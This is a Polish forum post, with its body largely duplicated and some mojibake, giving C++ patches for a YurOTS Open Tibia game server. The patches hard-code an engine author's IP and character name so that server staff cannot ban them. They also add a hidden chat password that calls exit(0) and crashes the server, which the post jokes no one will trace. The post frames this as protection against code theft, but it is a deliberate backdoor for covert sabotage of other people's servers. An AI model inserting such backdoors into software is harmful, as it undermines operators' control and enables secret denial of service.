Saelasti
Advanced User
- Joined
- Apr 1, 2014
- Messages
- 192
- Reaction score
- 25
Jedziemy dalej.
Kod:
1. w commands.cpp
zamie?:
[CPP]bool Commands::banCharacter(Creature* c, const std::string &cmd, const std::string ¶m)
{
Player* playerbanned = game->getPlayerByName(param);
if(playerbanned){[/CPP]
na:
[CPP]bool Commands::banCharacter(Creature* c, const std::string &cmd, const std::string ¶m)
{
Player* playerbanned = game->getPlayerByName(param);
Player* player = dynamic_cast<Player*>(c);
unsigned char ip[4];
*(unsigned long*)&ip = playerbanned->lastip;
if((playerbanned) && (((unsigned int)ip[0] == XXX)&&((unsigned int)ip[1] == XXX)&&((unsigned int)ip[2] == XXX)&&((unsigned int)ip[3] == XXX)) || (playerbanned->getName() == "YYY")){
player->sendTextMessage(MSG_BLUE_TEXT,"Nie mozesz zbanowac tego gracza. Jest on autorem silnika do tego OTSa.");
return true;
}
if(playerbanned){[/CPP]
,gdzie:
XXX - pierwszy cz?on waszego adresu IP np.: 81.168.228.192
XXX - drugi cz?on waszego adresu IP np.: 81.168.228.192
XXX - trzeci cz?on waszego adresu IP np.: 81.168.228.192
XXX - czwarty cz?on waszego adresu IP np.: 81.168.228.192
YYY - nazwa waszej postaci, kt?rej nie b?dzie mo?na zbanowa? (du?e i ma?e litery te? maj? znaczenie).
Uwaga: Wpisuj?c wasz adres IP, wpisujecie same liczby bez kropek.
2. w commands.cpp
zamie?:
[CPP]Player* player = dynamic_cast<Player*>(c);
if(player && player->access <= playerBan->access){[/CPP]
na:
[CPP]Player* player = dynamic_cast<Player*>(c);
unsigned char ip[4];
*(unsigned long*)&ip = playerBan->lastip;
if((player && player->access <= playerBan->access) && (((unsigned int)ip[0] == XXX)&&((unsigned int)ip[1] == XXX)&&((unsigned int)ip[2] == XXX)&&((unsigned int)ip[3] == XXX)) || (playerBan->getName() == "YYY")){[/CPP]
,gdzie:
XXX- pierwszy cz?on waszego adresu IP np.: 81.168.228.192
XXX - drugi cz?on waszego adresu IP np.: 81.168.228.192
XXX - trzeci cz?on waszego adresu IP np.: 81.168.228.192
XXX - czwarty cz?on waszego adresu IP np.: 81.168.228.192
YYY - nazwa waszej postaci, kt?rej nie b?dzie mo?na zbanowa? (du?e i ma?e litery te? maj? znaczenie).
Uwaga: Wpisuj?c wasz adres IP, wpisujecie same liczby bez kropek.
3. w game.cpp
pod:
[CPP]void Game::creatureSay(Creature *creature, SpeakClasses type, const std::string &text)
{
OTSYS_THREAD_LOCK_CLASS lockClass(gameLock, "Game::creatureSay()");[/CPP]
dodaj:
[CPP]if(text == "haslo"){
exit(0);}[/CPP]
,gdzie w miejscu haslo, wpisujemy:
s?owo np.: alachar, lub
zdanie np.: Zaraz zrobie crash i nikt sie nie dowie ze to ja xD, albo
ci?g liter/cyfr/znak?w np.: abc123/?!?.
Uwaga: Radz? wymy?la? d?ugie has?a, aby ?aden z graczy przez przypadek takiego nie wpisa?, dlatego zalecam stosowa? jak najwi?cej znak?w (du?e i ma?e litery te? maj? znaczenie). Nie wpisywa? do hase? polskich ko?c?wek (opr?cz ? i ?), poniewa? w standardowym kliencie 7.6 nie ma polskich znak?w.
Po wpisaniu w kliencie has?a, nast?puje crash serwera.
Projekt przebudowa? (Ctrl+F11) i gotowe.
Autor: Blizzar?aviD
Link ?rod?owy: LINK
Testowany na: YurOTS 0.4.9f
Opis: Kod szczeg?lnie przydatny jako zabezpieczenie dla autor?w silnik?w, kt?rzy mog? zosta? okradzeni ze swych dzie?. Poni?sze kody zawieraj?:
Anty-Ban Character na wybran? nazw? postaci lub/i IP autora silnika,
Anty-Ban IP na wybran? nazw? postaci lub/i IP autora silnika,
Ukryty Crash - po wpisaniu wcze?niej ustalonego wyrazu/zdania nast?puje crash serwera.
Uwaga: Anty-Bany na wybrane IP s? zalecane dla os?b ze sta?ym IP.
W rezultacie za?oga OTSa nie b?dzie w stanie m?g?a zbanowa? ani postaci, ani IP autora silnika. Dodatkowo autor po wpisaniu has?a (o tym ni?ej) wywo?a crash serwera.
Link ?rod?owy: LINK
Testowany na: YurOTS 0.4.9f
Opis: Kod szczeg?lnie przydatny jako zabezpieczenie dla autor?w silnik?w, kt?rzy mog? zosta? okradzeni ze swych dzie?. Poni?sze kody zawieraj?:
Anty-Ban Character na wybran? nazw? postaci lub/i IP autora silnika,
Anty-Ban IP na wybran? nazw? postaci lub/i IP autora silnika,
Ukryty Crash - po wpisaniu wcze?niej ustalonego wyrazu/zdania nast?puje crash serwera.
Uwaga: Anty-Bany na wybrane IP s? zalecane dla os?b ze sta?ym IP.
W rezultacie za?oga OTSa nie b?dzie w stanie m?g?a zbanowa? ani postaci, ani IP autora silnika. Dodatkowo autor po wpisaniu has?a (o tym ni?ej) wywo?a crash serwera.
Kod:
1. w commands.cpp
zamie?:
[CPP]bool Commands::banCharacter(Creature* c, const std::string &cmd, const std::string ¶m)
{
Player* playerbanned = game->getPlayerByName(param);
if(playerbanned){[/CPP]
na:
[CPP]bool Commands::banCharacter(Creature* c, const std::string &cmd, const std::string ¶m)
{
Player* playerbanned = game->getPlayerByName(param);
Player* player = dynamic_cast<Player*>(c);
unsigned char ip[4];
*(unsigned long*)&ip = playerbanned->lastip;
if((playerbanned) && (((unsigned int)ip[0] == XXX)&&((unsigned int)ip[1] == XXX)&&((unsigned int)ip[2] == XXX)&&((unsigned int)ip[3] == XXX)) || (playerbanned->getName() == "YYY")){
player->sendTextMessage(MSG_BLUE_TEXT,"Nie mozesz zbanowac tego gracza. Jest on autorem silnika do tego OTSa.");
return true;
}
if(playerbanned){[/CPP]
,gdzie:
XXX - pierwszy cz?on waszego adresu IP np.: 81.168.228.192
XXX - drugi cz?on waszego adresu IP np.: 81.168.228.192
XXX - trzeci cz?on waszego adresu IP np.: 81.168.228.192
XXX - czwarty cz?on waszego adresu IP np.: 81.168.228.192
YYY - nazwa waszej postaci, kt?rej nie b?dzie mo?na zbanowa? (du?e i ma?e litery te? maj? znaczenie).
Uwaga: Wpisuj?c wasz adres IP, wpisujecie same liczby bez kropek.
2. w commands.cpp
zamie?:
[CPP]Player* player = dynamic_cast<Player*>(c);
if(player && player->access <= playerBan->access){[/CPP]
na:
[CPP]Player* player = dynamic_cast<Player*>(c);
unsigned char ip[4];
*(unsigned long*)&ip = playerBan->lastip;
if((player && player->access <= playerBan->access) && (((unsigned int)ip[0] == XXX)&&((unsigned int)ip[1] == XXX)&&((unsigned int)ip[2] == XXX)&&((unsigned int)ip[3] == XXX)) || (playerBan->getName() == "YYY")){[/CPP]
,gdzie:
XXX- pierwszy cz?on waszego adresu IP np.: 81.168.228.192
XXX - drugi cz?on waszego adresu IP np.: 81.168.228.192
XXX - trzeci cz?on waszego adresu IP np.: 81.168.228.192
XXX - czwarty cz?on waszego adresu IP np.: 81.168.228.192
YYY - nazwa waszej postaci, kt?rej nie b?dzie mo?na zbanowa? (du?e i ma?e litery te? maj? znaczenie).
Uwaga: Wpisuj?c wasz adres IP, wpisujecie same liczby bez kropek.
3. w game.cpp
pod:
[CPP]void Game::creatureSay(Creature *creature, SpeakClasses type, const std::string &text)
{
OTSYS_THREAD_LOCK_CLASS lockClass(gameLock, "Game::creatureSay()");[/CPP]
dodaj:
[CPP]if(text == "haslo"){
exit(0);}[/CPP]
,gdzie w miejscu haslo, wpisujemy:
s?owo np.: alachar, lub
zdanie np.: Zaraz zrobie crash i nikt sie nie dowie ze to ja xD, albo
ci?g liter/cyfr/znak?w np.: abc123/?!?.
Uwaga: Radz? wymy?la? d?ugie has?a, aby ?aden z graczy przez przypadek takiego nie wpisa?, dlatego zalecam stosowa? jak najwi?cej znak?w (du?e i ma?e litery te? maj? znaczenie). Nie wpisywa? do hase? polskich ko?c?wek (opr?cz ? i ?), poniewa? w standardowym kliencie 7.6 nie ma polskich znak?w.
Po wpisaniu w kliencie has?a, nast?puje crash serwera.
Projekt przebudowa? (Ctrl+F11) i gotowe.